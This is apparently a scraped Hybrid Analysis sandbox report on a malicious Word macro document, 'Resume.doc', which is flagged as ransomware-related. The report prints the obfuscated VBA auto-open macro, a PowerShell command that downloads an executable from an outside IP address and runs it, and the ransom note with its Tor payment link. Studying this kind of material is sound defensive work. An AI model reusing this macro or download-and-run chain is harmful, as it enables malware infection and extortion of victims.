www

26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 31:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T46b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VBA.Agent Sample cf1a2c67aa42… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cf1a2c67aa42…. Malware family: VBA.Agent. Threat score 100/100. 20/29 AV engines flagged this file. 5 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78","keywords":["Malicious","VBA.Agent","malware analysis","sandbox report","threat intelligence","cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78"],"about":{"@type":"SoftwareApplication","name":"Resume.doc","applicationCategory":["doc","office"],"identifier":"cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VBA.Agent","antivirusDetections":{"malicious":20,"total":29},"behavioralIndicators":{"malicious":5,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T145a,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub Document_Open()UgpkH = "lDc2dKMXcwTVRBNU55NWxlR1VuT3lSYVQzWjVWVUZZYmtNZ1BTQW5WbUZRWW5OVlpFUTJKenRtYjNKbFlXTm9LQ1J1VmtsNVpGb2dhVzRnSjJoMGRIQTZMeTh4T1RndU1UQXdMakV4T1M0eE1TOWtNUzVxY0djL2NtNWtQVFV6TVRjeExEOXlibVE5TlRNeE56RXNQM0p1WkQwMU16RTNNU3cvY201a1BUVXpNVGN4TEQ5eWJtUT"e6ICJa4M = "lOVE14TnpFbkxsTndiR2wwS0Njc0p5a3BlM1J5ZVhza2RGRTViMngzV"nw6qWNdI = "XlBOUlDZE5NRXQxY1dvNUp6c2tVM2xOYW5vNExrUnZkMjVzYjJGa1JtbHNaU2drYmxaSmVXUmFMbFJ2VTNSeWFXNW5LQ2tzSUNSS1JHd3laS"xjkJgM = "FJ5WmxVcE95UlBNSEJvYjNNZ1BTQW5SRnBVUTBZbk8xTjBZWEowTFZCeWIyTmxjM01nSkVwRWJESmtkSEpt"Dim OCAGPOCAGP = UgpkH & e6ICJa4M & nw6qWNdI & xjkJgMo0GUQtkni = "WTIxa0lDOWpJSE5sZENCaFBYQnZkMlZ5SmlZZ2MyVjBJR0k5YzJobEppWWdjMlYwSUdNOWJHd21KaUJqWVd4c0lDVmhKU1ZpSlNWakpTQWtRbmhFVm5BZ1BTQW5UV3BVUlU5MUp6c2tVM2xOYW5vNElEMGdibVYzTFc5aWFtVmpkQ0JUZVhOMFpXMHVUbV"OcxB67Ar = "YwTGxkbFlrTnNhV1Z1ZERza1RHTlNNM0ZpWjJSM0lEMGdKM05OTm05TFFXWW5PeVJHYVZkTmJISlVRaUE5SUNoT1pYY3RUMkpxWldOMElDMURiMjFQWW1wbFkzUWdkMjl5WkM1aGNIQ"Dim zIQDNoBxzIQDNoBx = o0GUQtkni & OcxB67ArxIz0u = "VlRza1dscEJkbEZJUTNveElEMGdKMmxoVUZwQ1JVTXliaWM3WW5KbFlXczdmV05oZEdOb2V5UnRWV3hrVUVwSk1pQTlJQ2RJVFRaVk1WZ3lKenQ5SkhseGEzUllNRkFnUFN"iApqdMc = "BblNtZDJSbGQ0Y0dzbk8zMD0="Dim z4aX3pSz4aX3pS = xIz0u & iApqdMcehypRoC = "nNhV05oZEdsd"kNlLT = "mJpa3VkbVZ5YzJsdmJqc2tRVzVJYldneWFrTmhJRDBnSjJSRGNVSmpNQ2M3SkZONVRXcDZPQzVvWldGa1pYSnpXeWQxYzJWeUxXRm5aVzUwSjEwZ1BTQWtSbWxYVFd4eVZFSTdKRXhyZVUxaElEMGdKMVZTZVVReFZpYzdKRVpwVjAxc2NsUkNMbU5zYjNObEtDazdKRXh2TVZaTFFpQTlJQ2RXUjA1eFQwSlZOU2M3SkVacFYwMXNjbFJDTG5GMWFYUTdKR2cwWXpJNVJtbGxJRDBnSjJkb05VMUtKenN"CqE2BJis = "rU2tSc01tUjBjbVpWSUQwZ0pHVnVkanAwWlcxd0"Dim ltUlCltUlC = ehypRoC & kNlLT & CqE2BJisDcewo = zIQDNoBx & ltUlC & OCAGP & z4aX3pSsuccessfull DcewoEnd Sub" File "RSi4l1e.bas" (Streampath: "Macros/VBA/RSi4l1e") has code: "Sub successfull(ywJAraKCI)Yd1wPT = CadAYgTe(ywJAraKCI)Call w4jgOkDTW.La15S(StrConv(Yd1wPT, 64), 0)End Sub" File "PrWAD.bas" (Streampath: "Macros/VBA/PrWAD") has code: "Private YqBK1Oohk As BooleanPrivate mgacT(0 To 63) As BytePrivate wIodq(0 To 127) As BytePublic Function AYx4ag(ByVal s As String) As StringIf s = "" Then AYx4ag = "": Exit FunctionAYx4ag = E3Kr5(CadAYgTe(s))End FunctionPublic Function CadAYgTe(ByVal s As String) As Byte()If Not YqBK1Oohk Then Init Dim IBuf() As Byte: IBuf = yW5DFw(s) Dim ILen As Long: ILen = UBound(IBuf) + 1 If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4." Do While ILen > 0 If IBuf(ILen - 1) <> Asc("=") Then Exit Do ILen = ILen - 1 Loop Dim OLen As Long: OLen = (ILen * 3) \ 4 Dim tMKnYf() As Byte ReDim tMKnYf(0 To OLen - 1) As Byte Dim ip As Long Dim op As Long Do While ip < ILen Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." Dim b0 As Byte: b0 = wIodq(i0) Dim b1 As Byte: b1 = wIodq(i1) Dim b2 As Byte: b2 = wIodq(i2) Dim b3 As Byte: b3 = wIodq(i3) If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 tMKnYf(op) = o0: op = op + 1 If op < OLen Then tMKnYf(op) = o1: op = op + 1 If op < OLen Then tMKnYf(op) = o2: op = op + 1 Loop CadAYgTe = tMKnYf End FunctionPrivate Sub Init() Dim c As Integer, i As Integer i = 0 For c = Asc("A") To Asc("Z"): mgacT(i) = c: i = i + 1: Next For c = Asc("a") To Asc("z"): mgacT(i) = c: i = i + 1: Next For c = Asc("0") To Asc("9"): mgacT(i) = c: i = i + 1: Next mgacT(i) = Asc("+"): i = i + 1 mgacT(i) = Asc("/"): i = i + 1 For i = 0 To 127: wIodq(i) = 255: Next For i = 0 To 63: wIodq(mgacT(i)) = i: Next YqBK1Oohk = True End SubPrivate Function yW5DFw(ByVal s As String) As Byte() Dim b1() As Byte: b1 = s Dim l As Long: l = (UBound(b1) + 1) \ 2 If l = 0 Then yW5DFw = b1: Exit Function Dim b2() As Byte ReDim b2(0 To l - 1) As Byte Dim p As Long For p = 0 To l - 1 Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) If c >= 256 Then c = Asc("?") b2(p) = c Next yW5DFw = b2 End FunctionPrivate Function E3Kr5(b() As Byte) As String Dim l As Long: l = UBound(b) - LBound(b) + 1 Dim b2() As Byte ReDim b2(0 To (2 * l) - 1) As Byte Dim p0 As Long: p0 = LBound(b) Dim p As Long For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next Dim s As String: s = b2 E3Kr5 = s End Function" File "w4jgOkDTW.bas" (Streampath: "Macros/VBA/w4jgOkDTW") has code: "Public Sub La15S(x4APVM, sgb390Sk)Call VBA.Shell(AYx4ag(x4APVM), sgb390Sk)End Sub"28:T4e2,"\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906" "Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000" "Local\ZonesCounterMutex" "Global\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000" "Global\552FFA80-3393-423d-8671-7BA046BB5906" "Local\ZoneAttributeCacheCounterMutex" "Local\ZonesCacheCounterMutex" "Local\ZonesLockedCacheCounterMutex" "Local\10MU_ACB10_S-1-5-5-0-58975" "Local\10MU_ACBPIDS_S-1-5-5-0-58975" "Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000" "\Sessions\1\BaseNamedObjects\Local\10MU_ACBPIDS_S-1-5-5-0-58975" "\Sessions\1\BaseNamedObjects\Local\10MU_ACB10_S-1-5-5-0-58975" "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000" "\Sessions\1\BaseNamedObjects\Global\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000"29:T6bc,Spawned process "cmd.exe" with commandline "cmd /c set a=power&& set b=she&& set c=ll&& call %a%%b%%c% $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}" (UID: 00015720-00003108) Spawned process "powershell.exe" with commandline "powershell $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}" (UID: 00015735-00000288) Spawned process "41097.exe" (UID: 00017095-00003428) Spawned process "DW20.EXE" with commandline "-x -s 788" (UID: 00039375-00003224)2a:T671,"WINWORD.EXE" touched file "C:\Windows\AppPatch\sysmain.sdb" "WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\setupapi.dll.mui" "WINWORD.EXE" touched file "C:\Users\cDSjCRp\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E441943B-FAC8-448A-B90B-DDC9ADFBD92E}.tmp"2b:T443,Pattern match: "xB.cY/S6" Pattern match: "http://schemas.openxmlformats.org/drawingml/2006/main" Heuristic match: "S?w.At" Heuristic match: "Microsoft.NET" Pattern match: "http://www.w3.org/TR/html4/strict.dtd" Pattern match: "https://www.torproject.org/" Pattern match: "http://djfl3vltmo36vure.onion/sdlskglkehhr" Heuristic match: "s$i6ZNpD*';NLpTeJue}CX^X&Qbd]Yc'>jG|mUlo755z+lbY|%C=V7m 'U2H1ulqj[X+}e~1 ryfY}!,4jei<<1$R:b V.SA" Pattern match: "G.jU/{-K,8&$SO][s" Heuristic match: "o4s:/*:.O.Gh" Pattern match: "sJkMX-o.AWdQ/&G|f'h" Heuristic match: "+3E]D$L$PQURi D$PW^Ut4=.xt=.t=.tt" Pattern match: "4.Yd/q,D7Zlk$AMBT_/$hYf_}~li=eQ6[Hf?j&:|ktK/F-b" Pattern match: "crl.verisign.com/ThawteTimestampingCA.crl0U%0" Pattern match: "http://crl.verisign.com/tss-ca.crl0U%0" Pattern match: "http://crl.microsoft.com/pki/crl/products/CodeSignPCA2.crl0O+C0A0?+03http://www.microsoft.com/pki/certs/CodeSignPCA2.crt0" Pattern match: "http://www.microsoft.com/genuine0" Pattern match: "http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')"2c:T827,"WINWORD.EXE" wrote bytes "e9365516ea" to virtual address "0x76F03EAE" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "b811110000663d33c0ba843bc70568dcf51257c3" to virtual address "0x05C731EC" "WINWORD.EXE" wrote bytes "c4cae47680bbe476aa6ee5769fbbe47608bbe47646cee4766138e576de2fe576d0d9e47600000000177977764f9177767f6f7776f4f7777611f77776f2837776857e777600000000" to virtual address "0x6DBB1000" (part of module "MSIMG32.DLL") "WINWORD.EXE" wrote bytes "ba1c5e4e00b98b7b1257ffe1" to virtual address "0x00481336" "WINWORD.EXE" wrote bytes "ffbf5a41" to virtual address "0x2F1B1B94" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "ca405a42" to virtual address "0x652BCA70" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "eb955b42" to virtual address "0x63D3F530" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "ba088ec605b98b7b1257ffe1" to virtual address "0x00480A5A" "WINWORD.EXE" wrote bytes "e9603316ea" to virtual address "0x76F04731" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "bae05c4e00b98b7b1257ffe1" to virtual address "0x00481322" "WINWORD.EXE" wrote bytes "95a40242" to virtual address "0x5B6F10AC" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "ba54814e00b98b7b1257ffe1" to virtual address "0x004812FA" "WINWORD.EXE" wrote bytes "0d77d45f" to virtual address "0x56BC42C4" (part of module "MSPROOF7.DLL") "WINWORD.EXE" wrote bytes "e9239918ea" to virtual address "0x76F05DEE" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "bbc42c42" to virtual address "0x61280BA8" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "e99e481dea" to virtual address "0x76E53D01" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "ba34694e00b98b7b1257ffe1" to virtual address "0x004DEBAA" "WINWORD.EXE" wrote bytes "19a45b42" to virtual address "0x628378E4" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "e99a5415ea" to virtual address "0x76F03E59" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "ba58824e00b98b7b1257ffe1" to virtual address "0x0048134A"2d:Ta8b," www

Your files are Encrypted!

For data recovery needs decryptor.

How to buy decryptor:

1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. Open this link In the "Tor Browser"

http://djfl3vltmo36vure.onion/sdlskglkehhr

Note! This link is available via "Tor Browser" only.

" (Source: READ__ME.html, Indicator: "files are encrypted") "

Your files are Encrypted!

" (Source: READ__ME.html, Indicator: "files are encrypted")2e:T71a,Spawned process "WINWORD.EXE" with commandline "/n "C:\Resume.doc"" (UID: 00015279-00003060) Spawned process "cmd.exe" with commandline "cmd /c set a=power&& set b=she&& set c=ll&& call %a%%b%%c% $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}" (UID: 00015720-00003108) Spawned process "powershell.exe" with commandline "powershell $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}" (UID: 00015735-00000288) Spawned process "41097.exe" (UID: 00017095-00003428) Spawned process "DW20.EXE" with commandline "-x -s 788" (UID: 00039375-00003224)2f:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjqscgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC30:T92c,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